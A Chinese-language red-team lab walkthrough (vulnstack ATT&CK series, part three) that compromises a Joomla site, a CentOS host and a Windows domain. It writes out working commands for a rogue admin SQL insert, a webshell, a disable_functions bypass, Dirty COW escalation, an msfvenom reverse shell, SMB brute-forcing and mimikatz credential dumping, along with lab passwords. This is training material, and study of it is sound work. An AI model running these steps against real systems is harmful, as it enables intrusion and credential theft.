ATT&CK實戰系列——紅隊實戰(三)


一、環境搭建

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

本次環境為黑盒測試,不提供虛擬機賬號密碼,centos 出網機 ip 為 192.168.1.110,目標是域控內的一份重要文件。

所有主機解壓后都是掛起狀態,配好網絡環境后運行五台機器即可。

 

二、漏洞利用

2.1修改模板getshell

出網機的 80 端口是一個 joomla! 搭建的網站

 

直接使用 kali 的 joomscan 工具掃描一下,發現版本為 3.9.12,后台登錄目錄 http://192.168.1.110/administrator/,敏感文件泄露目錄 http://192.168.1.110/configuration.php~

joomscan -u http://192.168.1.110/

 

得到一個 mysql 賬戶 testuser/cvcvgjASD!@

 

nmap 掃描一下發現 3306 端口開放,使用獲得的賬戶密碼遠程登錄數據庫。因為 joomla 可以在后台模板 getshell,所以嘗試查找管理員的賬號密碼登錄后台,但是數據表中存儲的管理員密碼是加密的,需要換一種思路。

 

根據 joomla 官方文檔 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn 執行 sql 語句在數據庫中添加 admin2/secret 超級管理員,注意 sql 語句修改為目標數據表的前綴。

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

 

執行語句后在數據表可以看到賬戶已經成功添加了。

 

admin2/secret 登錄后台,Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,寫入一句話木馬。

 

 

蟻劍連接 webshell。

 

2.2bypass disable_functions

虛擬終端執行系統命令返回 ret=127,懷疑服務端 disable_functions 禁用了命令執行函數。

 

phpinfo 查看一下禁用了這些函數,嘗試利用LD_PRELOAD繞過。

 

用蟻劍把 bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上傳到目標的同一目錄,注意 .so 文件需要根據目標系統架構選擇,然后訪問 bypass_diablefunc.php,cmd 是執行的命令,outpath是讀寫權限的目錄,sopath是 .so 文件的絕對路徑。

工具下載地址: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

payload 如下:

http://192.168.1.110/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

 

查看當前 ip 為 192.168.93.120,內核是 ubuntu,說明真正的 web 服務后端在 ubuntu。

 

2.3敏感文件泄露

由於 ubuntu 內核比較新,暫時不考慮提權。翻找文件發現 test.txt 給出了一個用戶的賬號密碼。

 

可以成功登錄 centos 出網機。

 

三、內網滲透

3.1臟牛提權

拿到出網機后想繼續橫向移動,一般是在跳板機搭建 socks 代理,所以需要將 centos 提權,查看 centos 內核版本剛好在臟牛提權的范圍內。

 

將 dirty.c 上傳到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令編譯生成 dirty 可執行文件,執行 ./dirty password 提權,exp 下載地址:https://github.com/FireFart/dirtycow

 

切換 firefart/baji 用戶,成功提權。

 

3.2msf上線

攻擊機生成 shell.elf,設置監聽,將 elf 文件上傳至 centos,執行后攻擊機成功獲得一個 meterpreter。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

 

3.3存活主機探測

因為 bypass disable_functions 后得到 ubuntu ip 為 192.168.93.120,所以添加路由,meterpreter 放在后台,進行存活主機探測。

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

 

得到了三台加入TEST域的 windows 主機

  • 192.168.93.10 windows 2012
  • 192.168.93.20 windows 2008
  • 192.168.93.30 windows 7

 

 

嘗試爆破 windows 2008 的本地管理員,參考其他師傅的文章爆出來密碼為 123qwe!ASD(我沒有包括這個密碼的字典...)

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
run

 

3.4內網信息搜集

在爆破密碼成功的基礎上,使用 msf 開個 socks4 正向代理,配合 proxychains。

use auxiliary/server/socks4a
set srvport 1080
exploit

 

wmi 出現在所有的 windows 操作系統中,由一組強大的工具集合組成,用於管理本地或遠程的 windows 系統。攻擊者使用 wmi 攻擊時 windows 系統默認不會在日志中記錄這些操作,可以做到無日志、攻擊腳本無需寫入到磁盤,增加了隱蔽性。

wmiexec 執行命令,搜集信息,wmiexec.py 下載地址 https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

 

ipconfig /all 知道 dns 服務器即域控是 192.168.93.10。那么基本的內網拓撲也清楚了,一台 centos 反向代理了一個 web,centos 有兩個網卡,web 服務后端在 ubuntu 上,三台 windows 組成域環境,ip 分別是 192.168.93.10,192.168.93.20,192.168.93.30,域控為 windows server 2012,ip 為 192.168.93.10。

(反向代理服務器位於用戶與目標服務器之間,但是對於用戶而言,反向代理服務器就相當於目標服務器,即用戶直接訪問反向代理服務器就可以獲得目標服務器的資源。反向代理的工作原理是,代理服務器來接受客戶端的網絡訪問連接請求,然后服務器將請求有策略的轉發給網絡中實際工作的業務服務器,並將從業務服務器處理的結果,返回給網絡上發起連接請求的客戶端。更多解釋 https://www.zhihu.com/question/36412304

反向代理優點:

  • 提高了內部服務器的安全
  • 加快了對內部服務器的訪問速度
  • 節約了有限的IP資源

 

tasklist /V 查看進程(顯示對應用戶),發現TEST域進程,可以嘗試抓密碼。

 

3.5mimikatz獲取賬號密碼

kali 使用 smbclient 通過代理連接 windows server 2008 上傳 mimikatz。下載地址 https://github.com/gentilkiwi/mimikatz/releases

proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

 

wmiexec 遠程執行 mimikatz 成功得到域管理員密碼。

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

 

3.6ipc遠程連接

IPC$(Internet Process Connection)是共享“命名管道”的資源,它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$連接者可以與目標主機建立一個連接,得到目標主機上的目錄結構、用戶列表等信息。

利用條件:

  1. 管理員開啟了默認共享
  2. 139或445端口開放

 

ipc 遠程連接讀 flag.txt。

net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator   #系統默認路徑c:\windows\下
dir \\192.168.93.10\C$\users\administrator\Documents
type \\192.168.93.10\C$\users\administrator\Documents\flag.txt

 

四、總結

通過這個靶機了解了一些新知識,實驗了幾個聽說過但是還沒試過的經典操作。如果有問題歡迎師傅們批評指正。

總結還想寫一點點別的,現在是大三暑假,九月份就秋招了,喜歡滲透但是技術還挺菜的hhhh。希望在畢業后可以做滲透測試的工作,很想很想喜歡的事可以成為工作啊:)

 

 

參考文章:

https://www.cnblogs.com/PANDA-Mosen/p/13118679.html

https://www.freebuf.com/web/192052.html

https://glotozz.github.io/2020/05/19/vulstack-3/

https://xz.aliyun.com/t/6988

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM